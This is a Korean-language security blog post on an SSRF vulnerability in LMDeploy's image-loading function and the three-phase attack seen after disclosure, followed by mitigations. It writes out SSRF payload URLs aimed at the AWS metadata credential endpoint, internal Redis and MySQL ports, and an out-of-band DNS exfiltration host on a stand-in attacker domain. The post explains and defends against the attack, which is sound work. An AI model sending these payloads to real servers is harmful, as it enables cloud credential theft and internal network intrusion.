Post

[Security] LMDeploy CVE-2026-33626 — AI 추론 서버 SSRF, 공개 12시간 만에 실제 공격

Posted
By Jung Woojin
14 min read
[Security] LMDeploy CVE-2026-33626 — AI 추론 서버 SSRF, 공개 12시간 만에 실제 공격

서론

AI 인프라가 새로운 공격 표면으로 빠르게 부상하고 있다는 사실을 다시 한번 상기시켜 주는 사건이 발생했다. 2026년 4월 21일, 오픈소스 LLM 배포 툴킷인 LMDeploy에서 Server-Side Request Forgery(SSRF) 취약점이 공개됐고, 공개된 지 불과 12시간 31분 만에 실제 공격 시도가 포착됐다.

CVE-2026-33626(CVSS 7.5, High)으로 추적되는 이 취약점은, 비전-언어(Vision-Language) 모델의 이미지 로딩 경로를 악용해 내부 네트워크 스캔, 클라우드 메타데이터 탈취, 자격증명 도용까지 가능하게 한다. 클라우드 보안 업체 Sysdig가 자사 허니팟 시스템에서 3단계, 10개의 요청으로 구성된 정교한 공격 패턴을 직접 관측해 상세히 분석했다.

AI 모델 서버를 프로덕션에 배포하거나 계획 중인 팀이라면, 이 사건이 보안 설계에서 놓치기 쉬운 부분을 어떻게 파고드는지 살펴볼 필요가 있다.

본론

LMDeploy란 무엇인가

LMDeploy는 상하이AI연구소(Shanghai AI Laboratory)가 개발한 오픈소스 LLM 배포 툴킷이다. LLM과 멀티모달 모델의 양자화(quantization), 추론 가속, 서빙(serving)을 위한 파이프라인을 제공하며, TurboMind라는 고성능 추론 엔진을 포함한다. GitHub에서 수만 개의 스타를 받으며 모델 서빙 생태계에서 널리 사용되는 도구다.

특히 멀티모달 기능을 지원하는 버전에서는 Vision-Language 모델이 이미지 URL을 직접 처리한다. 사용자가 API 요청에 이미지 URL을 포함하면, LMDeploy가 해당 URL에서 이미지를 가져와 모델에 공급하는 방식이다.

바로 이 이미지 로딩 경로가 이번 취약점의 근원이다.

취약점 상세: load_image()의 SSRF

취약점은 lmdeploy/vl/utils.py의 load_image() 함수에 있다. 이 함수는 입력받은 URL로 HTTP 요청을 보내 이미지를 가져오는 역할을 하는데, 대상 URL에 대한 어떠한 검증도 수행하지 않는다.

일반적인 SSRF 방어 로직이라면 다음을 차단했을 것이다.

1
2
3
4

# SSRF 방어가 없는 취약한 코드 (개념적 예시)
def load_image(url: str):
    response = requests.get(url)  # 내부 IP, IMDS 주소 전혀 차단 안 함
    return Image.open(BytesIO(response.content))

공격자가 API 요청에서 이미지 URL로 http://169.254.169.254/latest/meta-data/와 같은 클라우드 메타데이터 주소나 내부 서비스 주소를 지정하면, LMDeploy 서버가 그 주소로 직접 HTTP 요청을 보내 결과를 반환하거나 후속 처리한다.

영향을 받는 버전은 Vision-Language 기능을 지원하는 lmdeploy 0.12.0 이하 전체 버전이다. GitLab 보안 어드바이저리 GHSA-6w67-hwm5-92mq를 통해 2026년 4월 21일에 공개됐다.

CVSS 3.1 기준 7.5(High)로, 공격 복잡도가 낮고(Low), 사전 인증 없이(No Privileges Required) 네트워크를 통해 원격으로 트리거할 수 있다.

공격 타임라인: 12시간 31분

Sysdig는 자사의 클라우드 위협 인텔리전스 허니팟 시스템에서 이 취약점의 실제 익스플로잇 시도를 관측했다. 취약점 공개 시각으로부터 정확히 12시간 31분 후인 2026년 4월 22일 03:35 UTC, 첫 번째 공격이 감지됐다.

공격은 3단계, 총 10개의 HTTP 요청으로 구성된 체계적인 패턴을 보였다.

Phase 1 — 클라우드 자격증명 탈취 시도

첫 번째 단계는 AWS Instance Metadata Service(IMDS) 엔드포인트를 노리는 요청이었다.

1

http://169.254.169.254/latest/meta-data/iam/security-credentials/

AWS EC2 인스턴스에서 실행 중인 LMDeploy 서버가 이 요청을 처리하면, 해당 EC2 인스턴스에 연결된 IAM 역할의 임시 자격증명(Access Key, Secret Key, Session Token)이 반환된다. 이 자격증명을 탈취하면 공격자는 해당 IAM 역할의 권한 범위 안에서 S3 버킷 접근, EC2 API 호출, 다른 AWS 서비스 조작 등 다양한 행위가 가능해진다.

Phase 2 — 내부 네트워크 포트 스캔

자격증명 탈취 시도 이후, 공격자는 서버 내부 네트워크를 대상으로 한 서비스 탐색에 나섰다.

1
2
3

http://192.168.x.x:6379/    (Redis 탐색)
http://192.168.x.x:3306/    (MySQL 탐색)
http://127.0.0.1:<admin-port>/  (내부 관리 인터페이스 탐색)

Redis의 기본 포트(6379), MySQL의 기본 포트(3306), 그리고 내부 HTTP 관리 인터페이스를 대상으로 해당 서비스의 존재 여부를 확인하는 탐색이었다. LMDeploy 서버가 같은 VPC 안에서 데이터베이스 서버와 함께 운영 중이라면, 이 정보가 이후 공격의 발판이 된다.

Phase 3 — OOB DNS 엑스필트레이션

마지막 단계로 공격자는 Out-of-Band(OOB) DNS 기반 데이터 반출 기법을 사용했다.

1

http://탐색결과.공격자도메인.com/

HTTP 응답이 직접 공격자에게 반환되지 않더라도, DNS 조회 기록을 통해 내부 탐색 결과를 외부로 빼낼 수 있는 블라인드 SSRF 기법이다. 응답을 볼 수 없는 상황에서도 내부 서비스 존재 여부를 확인하는 우회로로 활용된다.

왜 AI 인프라가 이런 위험에 놓이는가

이 사건은 AI 인프라 보안에서 자주 간과되는 구조적 문제를 드러낸다.

기능 우선, 보안 후순위: LLM 및 멀티모달 툴킷을 만드는 팀은 모델 성능, 추론 속도, 기능 지원에 집중한다. 외부 URL을 처리하는 코드에 SSRF 방어를 빠뜨리는 일은, AI 연구 배경의 개발자에게는 드물지 않은 실수다.

강력한 IAM 권한: 클라우드 환경의 AI 추론 서버는 종종 S3 모델 가중치 접근, 로그 스트리밍, 다른 서비스와의 통신을 위해 넓은 IAM 권한을 가진다. IMDS 탈취에 성공하면 단순 정보 수집을 넘어 클라우드 환경 전체가 위험에 노출될 수 있다.

빠른 익스플로잇 전환: 공개 후 12시간 31분이라는 시간은 “패치 적용 전에 공격자가 먼저 움직인다”는 N-day 공격의 전형적인 패턴이다. GitHub 보안 어드바이저리가 공개되는 순간, 자동화된 스캐너들이 인터넷에 노출된 취약 서비스를 탐색하기 시작한다.

대응: 패치 및 완화 방법

즉시 패치 적용: lmdeploy 0.12.0 이하 버전을 사용 중이라면 최신 버전으로 업그레이드해야 한다. pip install --upgrade lmdeploy로 최신 버전을 설치하면 된다.

클라우드 환경 IMDS 보호: EC2 인스턴스라면 IMDSv2를 강제 적용해 토큰 없는 IMDS 요청을 차단할 수 있다.

1
2
3
4
5

# IMDSv2 전용으로 강제 설정 (AWS CLI)
aws ec2 modify-instance-metadata-options \
  --instance-id <instance-id> \
  --http-tokens required \
  --http-endpoint enabled

네트워크 수준 격리: LMDeploy 서버가 실행되는 컨테이너나 인스턴스에서 내부 메타데이터 엔드포인트와 내부 데이터베이스 포트로의 아웃바운드 트래픽을 명시적으로 차단해야 한다.

1
2
3

# iptables로 IMDS 접근 차단 (리눅스 환경)
iptables -A OUTPUT -d 169.254.254.254 -j DROP
iptables -A OUTPUT -d 169.254.169.254 -j DROP

네트워크 세그멘테이션: AI 추론 서버를 데이터베이스, 내부 관리 시스템과 분리된 별도 네트워크 세그먼트에 배치하면 Phase 2 수준의 내부 포트 스캔이 성공하더라도 실제 서비스에 접근하기 어렵게 만들 수 있다.

업계 반응

The Hacker News, CybersecurityNews, Vulert 등 복수의 보안 전문 매체가 이 사건을 즉각 보도했다. Sysdig의 분석 보고서가 공개된 이후, 보안 커뮤니티에서는 “AI 인프라 도구도 웹 애플리케이션과 동일한 수준의 보안 점검이 필요하다”는 목소리가 높아졌다.

특히 LMDeploy처럼 외부 URL을 처리하는 기능을 가진 오픈소스 AI 툴킷들에 대한 유사 취약점 점검이 필요하다는 논의가 이어졌다. SSRF는 OWASP Top 10에 포함된 오래된 취약점 유형이지만, AI/ML 인프라 영역에서는 아직 보안 강화가 충분히 이루어지지 않은 곳이 많다는 점이 이번 사례에서 다시 확인됐다.

정리

  • CVE-2026-33626은 LMDeploy의 load_image() 함수에서 SSRF가 발생하는 취약점으로, CVSS 7.5(High)이며 인증 없이 원격 트리거 가능하다.
  • 영향 범위는 Vision-Language 기능을 지원하는 lmdeploy 0.12.0 이하 모든 버전이다.
  • 취약점 공개 12시간 31분 만에 실제 공격 시도가 Sysdig 허니팟에서 포착됐다.
  • 공격은 AWS IMDS 자격증명 탈취 → 내부 네트워크 포트 스캔(Redis, MySQL) → OOB DNS 엑스필트레이션의 3단계 구조였다.
  • 즉시 최신 버전으로 업그레이드하고, EC2라면 IMDSv2 강제 적용과 아웃바운드 네트워크 차단을 추가 완화책으로 적용해야 한다.
  • AI 추론 서버도 일반 웹 서비스와 동일한 보안 기준을 적용해야 한다는 점을, 이 사례가 다시 한번 명확히 보여줬다.

Reference

Security
CVE SSRF AI인프라 LMDeploy 취약점
This post is licensed under CC BY 4.0 by the author.